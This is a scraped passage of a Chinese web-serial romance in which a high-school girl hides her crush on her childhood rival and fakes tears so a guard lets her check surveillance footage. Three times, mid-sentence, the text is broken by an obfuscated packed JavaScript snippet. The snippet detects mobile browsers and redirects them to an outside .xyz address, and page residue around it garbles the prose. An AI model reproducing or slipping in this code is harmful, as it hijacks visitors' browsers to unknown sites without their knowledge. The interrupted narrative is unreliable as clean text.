向晚星微笑着背起书包,目不斜视地从洛望飞和宋惜中间走过,留下一句“我自己可以回去,你们有事继续,别管我。” 在洛望飞惊诧的目光中,向晚星甩了甩并不存在的衣袖,感觉自己特别潇洒帅气,简直就是:事了拂衣去,深藏功与名。 想让她沦落成反派女配,想都别想。 她一定会查出真相,死也不会让别人知道自己喜欢洛望飞。 向晚星高仰着头,看都没看洛望飞一眼,晃动的马尾像是春天的杨柳一样在洛望飞面前跳跃着远去,其中一缕发生拂过他的胳膊,像是一根柔软的小鞭子抽下来,轻飘飘的,带着些惩罚意味。 不怎么疼,但是有些难以名状的感觉,转瞬即逝。 虽然话说得潇洒,但是向晚星最多也就撑了三分钟,走到楼梯转角就整个人垮了下来,但也没有回头,没有停留,像是被扎破的气球一样,狼狈地飞奔。 洛望飞还站在一班教室门口,思索着向晚星这次的脾气怎么还没有过去,感觉有一只白鸽扑棱着翅膀划过天空。 他转头一看,哪里是什么白鸽,是飞奔到校服外套飘起来的向晚星罢了,仓促的样子像是在逃命。 洛望飞来不及和宋惜道别,把书包往背上一甩,迈开长腿三步并作两步去追赶落荒而逃的向晚星。 要是向晚星真遇上什么事情了,他的母亲叶芝女士,向晚星的干妈,会活生生把他撕成碎片。 宋惜抱着书站在原地,看着洛望飞离去的背影若有所思,也跟了上去。 她来到这里就是为了那个人,只有洛望飞能告诉她那个人的信息。不达目的,她誓不罢休。 4. 喜欢宿敌怎么办 温柔而灿烂的夕阳倾洒在校园里,橙白相间的教学楼镀上一层浅橘色的光,香樟和月桂的深绿色树冠因为夕阳而显出一种油画的美感,放学的学生成群结队迎着光辉向外走去,在热闹的笑声里,有那么几对并肩而行的少男少女悄悄地,悄悄地,握住了对方的手。 向晚星背着书包走在人群的后面,看着自己脚下孤零零的影子,迎面吹来的风都觉得冷了许多。 无数的蓝白色校服出现在向晚星的视线余光里,又匆匆远去,没有人为她停留。 她有点想念洛望飞了,即使他幼稚又毒舌,总喜欢弯下腰来抬起头看她,以一种谦卑的方式显摆他的身高,嬉笑着露出两颗尖尖的虎牙。 是她喜欢的人,是她讨厌的人,是无法成为恋人的人。 向晚星鼻尖一酸,拼了命把这份缠绵的思念压下去,就像把一片漂浮的叶子压进海底,看起来轻巧,却怎么也无法做到。 偶尔碰见了几个认识的人,开口也是问她:“欸,洛望飞在哪儿呢?约了周末一起打篮球,他还来吗?这两天总没看见他人,他干嘛去了?” 绑着运动发带的少年们把篮球夹在胳膊下,擦了一把额头上的薄汗,顺势走到向晚星旁边,和她一起朝外走去,没觉得这个问题有什么不妥。 反正洛望飞和向晚星总是在一块儿的,一起上学一起放学,家也在对门,跟一家人没什么区别,吵归吵闹归闹,谁家兄弟姐妹不是一边嫌弃一边这么过日子的。 向晚星拧着书包带子,赌气似的把脸撇向一侧,“不知道,我跟他不熟,别问我。” 少年们互相看了一眼,嬉笑起来,“你要跟他不熟没人跟他熟了。你们俩又吵架了啊,怎么了又?” 向晚星心里越发难受,故作轻松地开口说:“他现在大忙人,我才管不着。天天招蜂惹蝶,沾花惹草,说不定很快就有女朋友了,你们去问他女朋友去。” 方才还笑着的这些人闻言顿时端正了神色,好奇地打听起来,“真的啊?谁啊?” “你们去问他去,他的事情,别来问我。”向晚星不肯多说,和他们分开,朝着艺术楼走去,准备到书店里消磨时间,等到学校里没什么人了,再去保安面前求情卖惨让他们给自己看监控,好查清到底谁撕了情书。 向晚星走得又快又急,留下五个吃瓜吃到一半的人抓耳挠腮。 “打那件事之后,洛望飞不是都有心理阴影了吗?” “我倒是听余亮说他们班来了个大美女,对洛望飞穷追猛打的。” 五个少年不自觉凑近了唧唧歪歪,互相交流自己知道的信息,中间有人问了一句“啥心理阴影啊?他居然一直没谈过,那长相,我还以为他是情场老手了。” 另一个人正要回答,听见身后传来一声“你们凑一块儿嘀咕什么呢,偷偷摸摸的,跟做贼一样。” 来人正是洛望飞。 少年们往后一看,嚯,洛望飞身后可不是跟着一个大美女嘛。 “你女朋友啊?介绍一下呗。” 洛望飞随着他们的视线往后看,瞧见不远处的宋惜,觉得有些巧合,但并没有出声打招呼,毕竟这条路是校园的主道,大家出校都往这里走。 他和宋惜才认识,也没什么交情,而且宋惜拜托他的事情他也未必会答应。 宋惜也不可能因此就跟着自己。 大概只是顺路。 洛望飞不以为意地回头继续跟自己的篮球搭子们聊天,但出于礼貌和尊重,他也没有把宋惜拜托的事情说出来,只是把他们的猜测打了回去,“就同学,什么女朋友,别瞎说,人家有喜欢的人。” 方才还笑得暧昧的几个人顿时哽住,讪笑着给自己开脱:“向晚星跟我们说的。” “她胡说八道你们也信。”洛望飞不咸不淡抱怨了一句,目光转了一圈,发现向晚星人不见了,又问他们,“向晚星人呢?” “往艺术楼方向去了。” 洛望飞便知道她是去书店买小说了,跟他们点了点头告别,也往书店去了。 “欸,洛望飞,周末还打不打球!”往外走的几个人猛然想起来这本来的目的,回头朝着洛望飞喊。 洛望飞走在路上,没有回头,抬起手比了个ok的手势。 五个少年得了回复,却没有继续往外走,他们眼见着洛望飞的大美女同学跟着洛望飞改了方向,也往艺术楼去了。 “这,是巧合?”其中一个人木然开口。 “不太可能是。”其他几个人脑子也有些宕机,“但,这事儿好像有点离谱了。” 但凡换了其他人,那这一幕铁定是大众喜闻乐道的狗血三角恋。 可这是洛望飞和向晚星啊。 他们俩幼儿园开始就互相斗殴,十多年来,从春禾幼稚园到春和小学,景明中学,到如今的一中,没有一天安生过。 更确切一点,是向晚星单方面的碾压。 虽然向晚星和洛望飞本质上都是混世魔王,不分伯仲。 但在老师家长面前,相比于表里如一的犟种洛望飞,向晚星特别能放下尊严,撒娇卖乖毫不犹豫,都不需要眨眼,瘪着嘴眼泪哗哗流,天大的事情也就一笔勾销,因此取得了绝对性的优势,百战百胜。 洛望飞怎么可能喜欢向晚星呢。 五个人大脑宕机许久,看着同伴如出一辙的呆滞脸庞,其中一个绑着红色发带的少年抬起手朝身边的同伴拍了一巴掌,听见一声响亮的“啪”声。 “疼吗?”拍的人面无表情地问。 “疼。”回答的人捂着胳膊点了点头。 “那就不是在做梦。” “你为什么不打自己啊!”被打的人终于回过神来,瞪了同伴一眼,疼得只甩手臂。 “不重要。”红发带少年抱着篮球往外走,像个老大哥一样叮嘱其他人,“今天这事儿咱就当没看见,俗话说得好,清官难断家务事,洛望飞和向晚星的事儿咱别掺和,装聋作哑,专注打球。” 几个人怀揣着荒唐的猜想离开了学校,向晚星还在书店里捧着小说掉眼泪。 这次她看的是一篇暗恋文:女主从读书时候开始喜欢男主,可是男主有女朋友,多年后男主和初恋分手,误打误撞和女主在一起,可是初恋有些什么事情,男主总是舍弃女主。直到结婚典礼上,穿着婚纱的女主问男主:“你爱我吗?我是说百分之百。” 作者在文里写【他无法否认年少时的心动,也无法抹去初恋在心里占据的那一席柔软,但是这么多年的陪伴和感动做不得假,这使他无法撒谎,所以他没有回答,闭上了眼睛,说了一句“对不起。”】 然后女主便取消了婚礼,在内心独白中把她和男主的爱情形容成一场赛跑,女主不断地努力,以为总是能慢慢缩短距离,总能追上男主,但她误判了,男主一开始就没有给她入场券。 【将就得来的爱不是爱,那只不过是一场妥协。是他得不到挚爱,对岁月,对现实的妥协。她不愿意成为退而求其次的选择,这是她最后的尊严和骄傲。】 向晚星看着这些话泪如雨下,因为她似乎看到了自己暗恋的结局。 要争吗?要抢吗?要像小说里的女主角一样痴恋守候等他回头吗? 她好像做不到。 在下午放学的时候,宋惜来找洛望飞的时候,向晚星的脑子其实很清醒,知道现实生活不是偶像剧,其实只要多打断几次,或许宋惜和洛望飞之间就未必能顺利。 现实里根本不存在男女主角的说法,也没有保卫男女主爱情的系统。 相较于灰溜溜地逃走,向晚星有一个更好地选择摆在面前:和洛望飞一起走,故意和他吵架打闹,像是打情骂俏一样,然后故意再把什么东西落在他那里,三天两头去他的班级,去找余亮玩,顺其自然去找洛望飞吵,牢牢地霸占洛望飞。 可是那样太累了。 他迟早会恋爱,迟早会离开。< ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14963431|161159||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' /p> 他不喜欢自己,做什么都是徒劳无功。 向晚星之所以一直选择男二,是因为,在言情故事里,男二才是一见面就会无条件喜欢女主,包容女主,带领女主走出困境,聆听她的烦恼给予积极的回应。 男二给女主的爱没有任何波澜,永远都是百分百。 她无法理解女主的原谅退让和包容,也无法释怀故事里男主的那些伤害。 所以向晚星的小说总是读到一半就放弃,站错了官配也不悔改,吃一堑继续吃一堑。 她坚定地想要等待一个忠贞赤诚的爱人,不要有什么波折,只是单纯地互相喜欢,然后一起去淮安路吃冰淇淋,去乐园坐摩天轮,在街边长椅上坐着晒太阳,说起从前的故事和以后的未来。 她不要让自己伤心的人做男主。 所以她抗拒对洛望飞的喜欢。 洛望飞聪明帅气,阳光开朗,洁身自好,待人接物温和有礼,开玩笑从来不会冒犯人,算是个难得的绅士,父母也开明。 但是洛望飞不可能爱她。 他见过向晚星的胡闹,恶劣,耍小心眼,这么多年对她深恶痛绝。 世上这么多人,唯独洛望飞不会爱她。 女主角因为善良聪明勇敢而被爱,因为漂亮大方而被爱,但是没有哪一本言情小说的女主是因为被男主看见了所有的不好而被爱的。 而洛望飞见过她所有的不好,胖胖的小时候,牙尖嘴利的小心机,撒谎斗狠的阴暗面,阴晴不定的坏脾气。 只有他知道,只有他清楚,所以只有他永远不会喜欢自己。 向晚星的眼泪打湿了书页,书店老板悄无声息走到她的旁边,友善地递了纸巾,也是守着怕她人跑了不付钱。 洛望飞站在书店外面,透过碧绿色的玻璃,看见向晚星肩膀一抽一抽的,尽管看不清她的神情,但也猜出她哭得很厉害。 他反而松了一口气,心里悬着的石头落了地。 他猜的没错,向晚星就是因为看小说太沉浸了,所以喜怒无常,并不是什么别的原因。 想到这里,洛望飞放松地背靠着墙壁,神游天外,等着向晚星哭完。 向晚星是个感性到有些分不清虚拟和现实的人,电视剧和小说里的人物哭,她也跟着哭,人物不哭,只是稍微的虐,她依然会哭,不管主角配角,正派反派,但凡有点虐心之处,向晚星都会一视同仁地施舍眼泪。 洛望飞小时候非常不理解,打断过她,试图把她拉出来,告诉她那些小说和电视剧都是假的,仙侠剧里的人物根本不会死,小说里的人物也不会死,就是作者为了赚钱赚眼泪的情节罢了。 向晚星不信,臭骂了洛望飞一顿,还曾经离家出走要去找电视剧里的仙山证明它真的存在,急得大人团团转。 后来向晚星被找回来,开口就是“洛望飞说这些都是假的,我想证明给他看。” 然后这锅又又又回到洛望飞头上,大人们不好去骂在外面受了惊吓灰头土脸的向晚星,悉数骂到了洛望飞头上,那几个月洛望飞父母几乎天天教育他不要轻易打碎别人的幻想。 从此洛望飞得了教训,千万不要扫向晚星的兴,哪怕她在哭,也得让她哭尽兴了。 夕阳沉没到黑夜里,校园上方的天空变得灰蒙蒙的,行道上也没什么人,向晚星才走了出来。 洛望飞往后退了一步,没让她看见自己,省得向晚星觉得丢了面子又要闹起来。 于是向晚星出来的时候,只看见夜幕下空荡荡的校园,教学楼和行道树仿佛都染上一层冷淡萧瑟的灰黑,昏黄的路灯次第亮起,照得空旷的行道更加孤寂。 她以为洛望飞没来找她,认识宋惜的第二天,洛望飞就彻底把她忘干净了,就像把女主留在大雨里去找白月光的渣男男主一样。 向晚星心底飘摇的希冀彻底被一场看不见的大雨浇熄了。 算了吧,她不想要洛望飞当自己的男主角了。 5. 喜欢宿敌怎么办 昏黄的路灯照在向晚星的身上拉出一条长长的影子,影子的另一端在洛望飞的脚边,洛望飞的影子落在了宋惜的面前。 八月份聒噪的蝉鸣遮盖了细碎的脚步声,向晚星背着书包没有回头过,在她的想象里,自己正淋着瓢泼大雨,踉踉跄跄地,孤独地跋涉在危险的荒原里。 树冠晃动的黑影是危险的野兽,蝉鸣和风声是冰凉的大雨和滑落的山石,空旷的街道处处都是危机,说不定一回头就发现有个变态跟在自己身后举起雪白的刀。 她命悬一线,而洛望飞穿着西装和宋惜在旋转餐厅里吃着浪漫的烛光晚餐。 欸,不对,洛望飞哪里来的西装?这里也没有旋转餐厅啊,他的零花钱吃不起烛光晚餐吧。 向晚星把自己的理智压了下去。 别管了,小说都这么写。 那就改成洛望飞和宋惜在市中心的酒店吃着甜点好了。 好像也有点奇怪,吃甜点为什么要去酒店? 虽然十七岁的年纪其实应该更喜欢麦当劳和肯德基,但是向晚星还没有看过有小说写男主和喜欢的人在肯德基约会,想象不出来。 算了,忽略逻辑,总之洛望飞和宋惜应该在另一个装潢华丽的地方快乐逍遥,完全不顾她的死活。 向晚星就这么使劲酝酿自己的绝望情绪,恨不得把自己往雨天车祸的女主里代,硬生生蓄满了眼泪。 终于到了门卫室,向晚星深呼吸一口气,上前一步,敲了敲门,正式进入状态。 “谁啊?” 门卫室里昏昏欲睡的保安猛然惊醒,习惯性拿过保温杯,慢腾腾起身,耷拉着眼皮看了一眼漆黑天色,疑心是自己幻听了。 高一高二还在放暑假,高三提前开学但暂且不需要上晚自习,现在这个点学校里应该没什么人才对。 咚咚咚。 敲门声再一次响起,保安才迈开步子,面上有些不快,肯定是那些天天在学校打球的皮学生又砸碎了哪个教室的窗户。 保安怒气冲冲地打开门,正要发火,瞧见一个长相乖巧的女学生站在外面,哭得满脸通红,肩膀一抽一抽的,上气不接下气,一双水灵的大眼睛里满是红血丝,跟在水里过了一遍的兔子似的,仿佛下一秒就要昏死过去。 “怎么了啊这是!”保安急得保温杯都不拧了。 向晚星开口便是嘶哑绝望的哭腔,“我,我妈妈给我买的玉佛丢了。” “在哪儿丢的啊?”保安找出了手电筒,准备一起去找。 向晚星轻轻摇了摇头,如同劲风中要被折断的枯草,“不知道,我把它放在书包夹层,没带出教室过,结果放学的时候就不见了。” 保安听得皱起眉头。 这孩子,怎么把这么贵重的东西带来学校?还不贴身戴着。 “你哪个班的?班主任叫啥名字?我给你查查电话。”保安冷静下来,准备按照规定的流程走。 话音刚落,向晚星本就通红的眼睛立刻滚出热泪来,硕大的泪珠砸得保安昏头转向,刚刚开始清明的脑子又发懵起来。 十几岁的年级正是叛逆期,哪个不是流血掉牙不流泪的。宁可被揍得流血也不低头的孩子保安见得多了,哪见过这种哭的架势。 简直是要把一副心肝都哭出来。 偏偏她也不吵不闹,只是抽噎着流眼泪,似乎在尽量克制,更让人觉得她受了天大的委屈,有天大的苦衷。 “我,我是偷偷带出来的,不,不能叫班主任。班主任知道了,肯定会叫家长,那我妈妈就知道了。”向晚星每说一个字,浸满泪水的脸庞便颤抖一下,大口大口喘着气,仿佛下一秒就要昏厥过去。 保安不敢刺激她,怕她真就哭昏过去闹出人命来,只好顺着她说,“行行行,你先别哭了,顺口气顺口气。” 向晚星咬了咬牙,眼泪流得更凶了,压低了嗓子发出细细的呜咽,像是悠长的戏腔一般,将听者的一颗心悬了起来,“叔叔,你不知道,我从小爹不疼娘不爱,这玉佛是我外婆留给我的遗物,是我唯一的念想,我同学都说我家穷,这玉佛是假的,我气不过,这才带来学校给他们看,没想到这就丢了。” 香樟树后的洛望飞听见这话默默在心里挑刺:前面不是还在说妈妈吗?这怎么就变成外婆了?也不知道向姨知不知道自家什么时候多出一个传家宝玉佛来。 不过向晚星的母亲向兰知道了大概也就笑一笑,说向晚星两句,然后继续给向晚星喂糖喂点心了。 要不然怎么把她惯出这种混世魔王的性子来。 但保安大叔并不知道向晚星的真面目,只是一个被向晚星的精湛演技蒙骗过去的普通人,而且是一个富有正义感和同情心的普通人。 他看向向晚星的目光泛着巨大的怜悯同情,嘴巴张开又合上,不知该说些什么安慰,叹了口气,把规章流程抛到一边,决定做一件好事,“这样,你先喘口气,平复一下心情,这监控就在这儿,你看看能不能找到些线索,要是还找不到,那也只能报警了。” 向晚星立刻仰起脸感激涕零地望着保安,一个劲地道谢,“谢谢,谢谢叔叔。” “没事,没事。”保安自觉做了件好事,把向晚星迎进来,告诉她怎么查监控,然后就拿着只剩茶叶渣渣的保温杯去小卖铺续开水了。 向晚星调出高三一班的监控,看着昨天的自己在座位上趴着,侧着脸看向窗外,不时皱眉叹气,把脸埋进胳膊里。 确实,很明显。 她喜欢洛望飞,喜欢地非常明显。 向晚星没感慨多久,摁下快进,专心查找起情书的下落。 下午第二节课课间,叶雪从向晚星抽屉里拿走了情书放进了她的书包。 叶雪数次从书包里拿课本拿练习册,情书也没有掉出来。 情书再一次出现在画面里的时候已经是放学了,其他人都回家了,叶雪也不在,书包没带。 第一排坐着的学神李彦极其自然地坐到叶雪座位上,把手伸到叶雪的书包里,拿出了一支笔和那封情书,然后眼也不眨把情书撕成碎片丢到了垃圾桶。 后面叶雪回到教室,翻着书包大概在找情书,也问了李彦一嘴。 李彦的表情十分冷淡,只是轻轻掀了掀嘴皮,大概是个毫不犹豫的否认。 向晚星大脑一片空白,也不知该震惊真凶居然是不食人间烟火的学神李彦,还是震惊自己的同桌叶雪,一个在500分数线上挣扎的酥脆学渣,居然不知怎么和李彦勾搭上了。 要知道李彦可是一个极其鄙视学渣的人,还曾经在入学的时候对搭讪他的叶雪说过一句“你的成绩让我觉得你智力堪忧。” 叶雪骂李彦狗眼看人低,向晚星点头如小鸡啄米。 同窗两年多,向晚星时刻谨记自己的阵营,和李彦都没加联系方式。 结果他们俩居然搞到一起了! 看画面,他们俩狼狈为奸也不是一天两天了。 可是向晚星从来 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14963432|161159||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 不知道。 天啊!她的友谊出现了如此大的裂痕!叶雪这都不告诉她! 说好同甘共苦统一战线,你却偷偷投敌?! 向晚星觉得自己现在真成了悲惨虐文的女主角,爱情没有,友谊破碎,全世界都背叛了她。 这偌大的世界,只有她孤身一人淋着伤心的瓢泼大雨,狼狈不堪。 不愧是女主角的待遇呢。 这么悲惨,这么苦痛。不是女主都说不过去。 向晚星走的时候神情恍惚,撞上回来的保安也懒得维持自己的贫穷可怜人设,木然回应他的友好招呼。 “找到了吗?” “嗯。” “哎呀,找到就好,贵重东西以后别带来学校了,人多眼杂的,下回也不一定能碰见我这样的人帮你了。”保安的谆谆教导刚刚开了个头,沉浸在悲伤和震惊中的向晚星以一句“好的,知道了,谢谢叔叔,再见。”结束了对话,魂不守舍地向外走去。 保安只好把长篇大论塞回到肚子里,抿了一口滚烫的茶水,安慰自己人家小女孩可能悲伤过度,所以突然冷淡下来。 他正要回去,听见一道笑声,转头一看,校园主道上不知何时多出一个男学生来,长得倒是白净,只是笑着的时候露出虎牙瞧着有些调皮,无端让他们这些长辈生气起来,“你怎么还在学校里?” 男生收敛了笑容,正经起来倒也像是一个好学生,“我放学时候发现东西掉了,找了很久,所以才一直没有出校。” “你东西也掉了?”保安觉得这未免也太巧了,“你掉了什么?贵重吗?” 洛望飞煞有其事地点了点头,又在保安大叔神色凝重起来的时候耸了耸肩缓和气氛,“就是一个不值钱的挂件,后面我想起是落在家里了,就没带来学校。” 说着,洛望飞似乎想到什么好笑的事情,幽幽朝着保安叹了口气,笑容逐渐灿烂起来,“唉,我家穷,没啥值钱的,我倒是想有个贵重物品,什么珠串玉佛啊,金银古玩啊,我爸妈不给我买啊。” 保安听着觉得很奇怪,“你们学生想着这些玩意干嘛,把心思放在学习上才是正事。” 这话他真应该对向晚星说。 洛望飞在内心感慨保安又是一个向晚星精湛演技的受害者,对他产生深深的同情,但是也没有出声再多说什么。 毕竟这么多年,被向晚星所蒙骗的人,保安大叔不是第一个,也绝对不会是最后一个。 这样的人,洛望飞见得太多太多,已经逐渐习惯且麻木。 向晚星哭一哭,全世界都会吻上来,对她死心塌地,无所不应。 从前洛望飞也不是没有斗争过,试图唤醒被愚弄的人们,结果就是输得一败涂地,连家庭地位都赔上了,直接变成自家食物链底层。 他后来学聪明了,对向晚星的事情,袖手旁观就好,只要向晚星不针对他,他就当个吃瓜看戏乐子人。 所以即使门卫室近在眼前,向晚星所查找的事情触手可及,洛望飞还是没有越线去管,只是挥手和保安告别,满身轻松地出了学校。 向晚星骗谁都无所谓,反正不会是他洛望飞。 全世界都被向晚星骗过去了,他也一定是唯一的清醒者,看穿她的把戏,跳出她的陷阱,俯视嘲笑她的拙劣演技。 十七岁的洛望飞就是如此心高气傲,自视甚高。 他觉得自己一定是所有人里最清醒的哪个,绝不会被向晚星的小把戏拿捏。 6. 喜欢宿敌怎么办 向晚星很早就认识到了爱情的存在。 互相喊老婆的过家家销声匿迹,写满缠绵故事的杂志出现在女孩子的抽屉里,男女生坐在一起的时候周围人会开始起哄,我喜欢你这四个字开始成了不能宣之于口的禁忌,白色情人节和七夕节变成了比圣诞更加隆重的节日,教学楼的间隙里开始出现玫瑰,台阶上不定时刷新“某某某,生日快乐!”的粉笔字。 她身边的人陆陆续续开始说有事不能一起走,有了不能说的秘密。 向晚星期待了很久很久,看遍言情小说也是为爱情到来的这一天做准备。 她觉得只要做足了准备,看遍了所有的套路,一定就能避免be结局,像是打游戏一样,做足攻略,就能打出最完美的he。 她会很仔细地挑选心仪的对象,避开狗血情节,主动解释误会,向对方传递自己的心意,连怎么平衡恋爱和学习都想好了,务必保证初生的萌芽能安稳地活到十八岁,走到老师和家长都认可的那一天。 但她的爱情迟迟不来。 没有人向她告白。 或许正是因为这等待太过漫长而枯寂,所以在六月十七号的那个晴天里,她错误地对紫藤花下的洛望飞动了心。 现在,她的最后一个单身朋友叶雪也谈恋爱了。 她的宿敌洛望飞也遇见了完美的理想型。 而向晚星只尝到了暗恋无望的酸涩不安。 她要等多久才能忘记错误的洛望飞,等来正确的人呢? 天空沉默,树木寂静,没人能回答。 她自己也不知道。 街边的小店人声鼎沸,面前的马路车流不息,向晚星穿着蓝白色的校服,觉得一切跟自己都没有关系。 站在十字路口,向晚星看着红绿灯变换,迟迟没有往家的方向走。 她的家里也是一片漆黑,母亲向兰去外地谈生意了,估计年底才会回来。 至于洛望飞,她既想遇见,又不想遇见,她并不想亲眼见证洛望飞是如何恋爱的,这对她来说太残忍了。 终于在红灯第五次变绿的时候,向晚星转身,朝着步行街走去。 刚迈出脚步就被人拽住了衣领往回拉。 她的心脏骤然紧张起来,带着某种隐秘的期待。 “你还要去哪儿玩啊?向晚星,你看看几点了,回家。” 砰的一声,向晚星心里那点期待变成了盛大的欢喜,如同烟花绽开。 向晚星缓慢回头,瞧见同样是一身蓝白色校服的洛望飞站在身后,脸色算不上好看,眉眼间有些不耐,在街边的灯光照耀下,依然俊朗地令人心神晃荡。 至少向晚星的心因为他而砰砰直跳。 “你在我后面跟了多长时间啊?”向晚星望着他,拼了命压着语气里的欢喜,明亮的光线在她眼睛里映出一片灿烂的星河。 向晚星异常的兴奋引起了洛望飞的警觉,她的话落入洛望飞的耳中也变成了一种骄纵的质问。 什么叫跟在她后面? 说得他好像一个变态一样。 拜托,他是牺牲了自己的娱乐勉为其难地看看她又在作什么妖好吗? 他要是敢一个人回家里不管向晚星死活,他的母亲叶芝女士保准会当场砸了他的游戏机,而且以后每一天都会旧事重提,跟唐僧念经一样。 在学校听老师念叨,回家听爸妈念叨,他还活不活了? 洛望飞脸色极为冷淡,火气冲天地顶了回去,“你少自恋,我妈回家发现你人不在逼我出来找你的,不然你以为我稀罕来找你啊?我闲得慌是吗?” 向晚星脸上的笑容骤然消失,眼睛里的星星也黯淡了,扯着嘴角有气无力“哦”了一声,很是不情愿地扭着身子想从洛望飞手里挣脱,“那你和阿姨说一声我不回去了,我在外面吃饭。” 洛望飞把她衣领攥得紧紧的,稍稍一用力,就把往外走的向晚星拉了回来,“你自己去和她说,在外面浪还想让我替你挨骂,门都没有。” 向晚星陡然生出一股委屈来。 到底是谁在外面沾花惹草兴风作浪啊! 明明一切问题的源头都是洛望飞! “我不回去。”向晚星使劲想挣脱,洛望飞手指一勾顺便拉住了她的书包带子,轻轻松松把她半拉着往前走。 粗鲁,野蛮,混蛋! 向晚星在心里骂着,口上也没停,“你放开!你凭什么管我!洛望飞!你无耻!” “哦,你无理取闹,兴风作浪,信口雌黄,胡说八道。”洛望飞张口就怼了回去,也懒得管这些词用得对不对,反正向晚星污蔑谩骂他的时候从来不讲道理,他为什么要讲道理呢? 向晚星的话语攻击不到洛望飞,但向晚星却有些不是滋味。 即使明知他是在和自己打嘴炮,向晚星还是不可避免地失落。 自从喜欢上洛望飞之后,她好像就失去了身上裹着的盔甲,只剩下柔软的肚皮。 哪怕是一丁点的负面话语,都能毫不费力地刺伤她。 这份单向的喜欢实在太糟糕了,让她丢盔弃甲,不战而降。 言情小说或许也不完全可信,这么悲伤难过的单恋,为什么那些女主角可以坚持十年八年。 她觉得这么几天都难以支撑。 “你混蛋。”向晚星的声音都带着哭腔,泪花在眼眶里打转。 洛望飞下意识往后看,并没有看见什么熟人。 那她又是在哭给谁看? 总不能是他吧。 向晚星也意识到了自己的失态,转过身去,朝着家的方向走。 没走出几步,她听见洛望飞叫自己。 “向晚星,你等等。” 她不听,也没有停下脚步。 非常不想搭理洛望飞,连吵架也不想。 他只会让自己难过。 向晚星朝前走着,察觉到他的靠近,加快了速度,准备一路飞奔,把他甩在身后,不给他奚落自己的机会。 但是还没有跑出第一步就被他拉住胳膊拽了回来,整个人像是被风吹的树叶一样,轻飘飘撞到他胸前。 洛望飞没有闪躲也没有后退,似乎完全没有觉得这距离有什么不对,把手里的热鸡蛋贴到向晚星眼下滚了滚,紧紧抓着她,不让她动,“你怎么把眼睛都哭肿了。” “等会儿回去我妈看见肯定又要骂我,这事儿可别赖我身上。”洛望飞嘴上的抱怨十分嫌弃又无奈,但是力道十分轻柔,还裹了一层塑料袋,小心翼翼没让褐色的汁水溅到向晚星脸上。 他的指尖刮过向晚星的眼周,她只得闭上了眼睛,感觉自己的心跳得无比剧烈。 人陷入黑暗的时候,其他的感官就会变得更加灵敏。 向晚星能闻到洛望飞校服上的清香,大概是洗衣液的味道,他喜欢打篮球,但也很爱干净,每天都会洗澡换衣服,所以总是带着一股洗衣液的花香,只是很少人会凑近他身边,像向晚星一样,会去留意这股被淹没在燥热夏天里的芬芳。 这股芬芳熏得她脸颊发烫。 她已经死去的爱情萌芽在洛望飞指间漏出的温柔里又一次死灰复燃。 在沦陷之前,向晚星后退了一步,摸着眼周触的残留温度。 “你又怎么了?”洛望飞站在原地淡然看着向晚星,眼神无波无澜,一片清白。 向晚星心里呼啸的狂风骤然消失,只剩丝丝缕缕的心动如同水草一般摇曳着,可以随时汹涌,也可以随时消亡。 她还没有开口,洛望飞的电话响起了,他看了一眼,十分头疼地摁下接听,电话那段顿时传来一阵咆哮:“这都几点了!还不回家!在外面干嘛呢啊!洛望飞你心野了是吧!高三了还这么放肆!下个月零花钱一分都没有了!” 洛望飞苦着脸把电话拿远了些,“妈,这次真不是我的问题,我在照顾向晚星呢。” 提到向晚星,叶芝女士声音顿时温和下来,“晚星怎么了?发生什么事了?” 洛望飞还没有来得及交代,叶芝女士又数落起他来,“一个学校的,叫你多照顾点,你是不是完全没上心?晚星她妈妈去外地,她 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14963433|161159||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 一个人可怜见的,你多看着点,有什么事情帮上一下,怎么你心眼就这么小呢。” 洛望飞无语到陷入沉默。 这么多年,他已经趋近于麻木了。 反正什么事情总是他的责任呗,解释就是掩饰,掩饰就是确有其事。 洛望飞懒得听完,把手机伸到向晚星耳边,“向晚星,你自己跟我妈说,看在我还找鸡蛋给你消肿的份上,好好说,听到没有,不准撒谎污蔑我。” 向晚星仰头看着面前的洛望飞,没有开口回答。 “你会答应宋惜吗?”向晚星接过手机,捂住了屏幕,一眨不眨望着他。 洛望飞垂眸看着向晚星,看出她此刻的询问并不是在开玩笑,而是罕见的认真。 但是他并不想跟向晚星交代。 宋惜要找的那个人也是向晚星的好友。 他们几个人从小一起长大,那个人一直是人缘最好的,只可惜家里出了事,一蹶不振,没能考上一中。 洛望飞只是向晚星的宿敌,算不上好友,顶多还有一层邻居的身份。 但是那个人可以说是向晚星最好的异性朋友,帮向晚星不知道坑过洛望飞多少次。 每次看到向晚星和那个人勾肩搭背笑嘻嘻欣赏他的出糗,洛望飞总是会有微妙的不快。 